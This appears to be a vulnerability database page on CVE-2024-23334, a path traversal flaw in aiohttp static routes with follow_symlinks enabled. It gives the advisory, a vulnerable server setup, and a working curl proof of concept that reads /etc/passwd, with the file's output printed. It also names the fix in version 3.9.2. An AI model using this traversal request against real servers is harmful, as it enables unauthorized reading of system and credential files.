High
CVE-2024-23334
CVE-2024-23334
Description
aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option ‘follow_symlinks’ can be used to determine whether to follow symbolic links outside the static root directory. When ‘follow_symlinks’ is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
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Technical Analysis
CVE-2024-23334 Path Traversal
Environment Setup
- Vulnerable code
- pip install aiohttp==3.9.1
# examples/server_simple.py from aiohttp import web app = web.Application() app.router.add_routes([ web.static("/static", "static/", follow_symlinks=True), # Remove follow_symlinks to avoid the vulnerability ]) if __name__ == '__main__': web.run_app(app) # 访问 https://www.jetbrains.com/help/pycharm/ 获取 PyCharm 帮助
Execute following commands to start an aiohttp:3.9.1 ：
python main.py
Exploit
➜ CVE-2024-23334 git:(master) ✗ curl --path-as-is http://127.0.0.1:8080/static/../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
CVSS V3 Severity and Metrics
General Information
Vendors
- aiohttp,
- fedoraproject
Products
- aiohttp,
- fedora 39
Exploited in the Wild
References
Exploit
Additional sources will be added here as they become relevant.
Notes: We will only add the top 3 POCs for a given CVE. POCs added here must have at least 2 GitHub stars.
Miscellaneous
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